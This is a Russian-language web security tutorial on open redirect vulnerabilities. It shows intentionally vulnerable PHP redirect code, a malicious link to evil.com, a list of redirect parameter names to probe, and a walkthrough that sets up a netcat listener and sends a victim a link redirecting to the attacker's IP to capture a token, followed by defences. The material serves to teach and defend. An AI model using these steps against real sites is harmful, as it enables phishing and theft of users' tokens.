October 12

Атаки на сессию. Часть 3. Open Redirect.

Глава 3. OPEN REDIRECT.

  1. ЧТО ТАКОЕ OPEN REDIRECT.
  2. ПРИМЕР АТАКИ OPEN REDIRECT.
  3. ЗАЩИТА ОТ OPEN REDIRECT.

_________________________________________________________________________________

§ 3.1. ЧТО ТАКОЕ OPEN REDIRECT.

3.1.1) OPEN REDIRECT (ОТКРЫТЬ ПЕРЕНАПРАВЛЕНИЕ) — это атака, при которой злоумышленник перенаправляет жертву на свой веб-сайт, злоупотребив функцией перенаправления законного веб-сайта. Эта атака возможна тогда, когда функция перенаправления не выполняет никакой проверки сайтов, на которые указывает перенаправление.

Чтобы перенаправить жертву на другой сайт, злоумышленнику нужно указать адрес своего сайта в URL-адресе перенаправления законного сайта и заставить жертву посетить этот вредоносный URL-адрес.

Рассмотрим следующий PHP-код:

________________________________________________________________
$red = $_GET['url'];
header("Location: " . $red);
________________________________________________________________

  • $red = $_GET['url']; объявляется переменная red, которая получает свое значение из параметра с именем url. Команда $_GET является суперглобальной переменной PHP, которая позволяет нам получить доступ к значению URL-параметра.
  • header("Location: " . $red); создаётся заголовок ответа Location, который указывает URL-адрес на который нужно перенаправить страницу. Для location задается значение red без какой-либо проверки. Здесь мы сталкиваемся с уязвимостью Open Redirect.

Вредоносный URL-адрес, который злоумышленник отправит, используя уязвимость Open Redirect, будет выглядеть следующим образом:

trusted.site/index.php?url=https://evil.com

3.1.2) URL-ПАРАМЕТРЫ, ГДЕ МОЖЕТ СКРЫВАТЬСЯ OPEN REDIRECT:

  • ?url=
  • ?link=
  • ?redirect=
  • ?redirecturl=
  • ?redirect_uri=
  • ?return=
  • ?return_to=
  • ?returnurl=
  • ?go=
  • ?goto=
  • ?exit=
  • ?exitpage=
  • ?fromurl=
  • ?fromuri=
  • ?redirect_to=
  • ?next=
  • ?newurl=
  • ?redir=

§ 3.2. ПРИМЕР АТАКИ OPEN REDIRECT.

Например, у нас есть есть веб-приложение, где пользователи могут поменять свой пароль, отравив свою электронную почты для сброса пароля:

Веб-приложение использует функцию перенаправления на адрес /complete.html, для отправки туда запроса с адресом электронной почты вместе с CSRF-токеном:

http://website.com/?redirect_uri=/complete.html&token=hpkp010mj4j7c5a31d6ibe4pvb

Если отправить свой адрес электронной почты, то веб-приложение перенаправит нас на страницу /complete.html, где мы заметим отправленный POST-запрос на эту страницу:

Нам нужно проверить, выполняет ли веб-приложение перенаправление без какой-либо проверки (есть ли в веб-приложении уязвимость Open Redirect).

ЭТАП 1. Запустить прослушиватель Netcat на нашем компьютере:

nc -nlvp 1337

ЭТАП 2. Отредактировать URL-адрес перенаправления, который мы нашли выше в веб-приложении следующим образом:

http://website.com/?redirect_uri=http://IPнашегоКомпьютера:1337&token=hpkp010mj4j7c5a31d6ibe4pvb

Мы заменили страницу перенаправления /complete.html на наш IP-адрес.

ЭТАП 3. Заставить жертву Джули Роджерс созданный выше URL-адрес.

Если жертва посетит этот адрес и введёт там свой адрес электронной почты, то мы поймаем соединение с нашим прослушивателем:

Следовательно веб-приложение перенаправляет пользователей на наш адрес без какой-либо проверки, а значит веб-приложение уязвимо для Open Redirect!

§ 3.3. ЗАЩИТА ОТ OPEN REDIRECT.

  • Не использовать URL-адреса, предоставленные пользователем (или части URL-адреса), и строго проверяя URL-адреса.
  • Если невозможно избежать пользовательского ввода, то нужно убедиться, что предоставленное значение допустимо, подходит для веб-приложения и разрешено пользователю.
  • Рекомендуется, чтобы все вводимые данные назначения сопоставлялись со значением, а не с фактическим URL-адресом или частью URL-адреса, и чтобы код на стороне сервера преобразовывал это значение в целевой URL-адрес.
  • Очищать пользовательский ввод, создав список доверенных URL-адресов (списки хостов или регулярное выражение).
  • Заставить все перенаправления сначала проходить через страницу, которая уведомляет пользователей о том, что они перенаправляются с нашего сайта, требуя щелкнуть ссылку для подтверждения (безопасное перенаправление).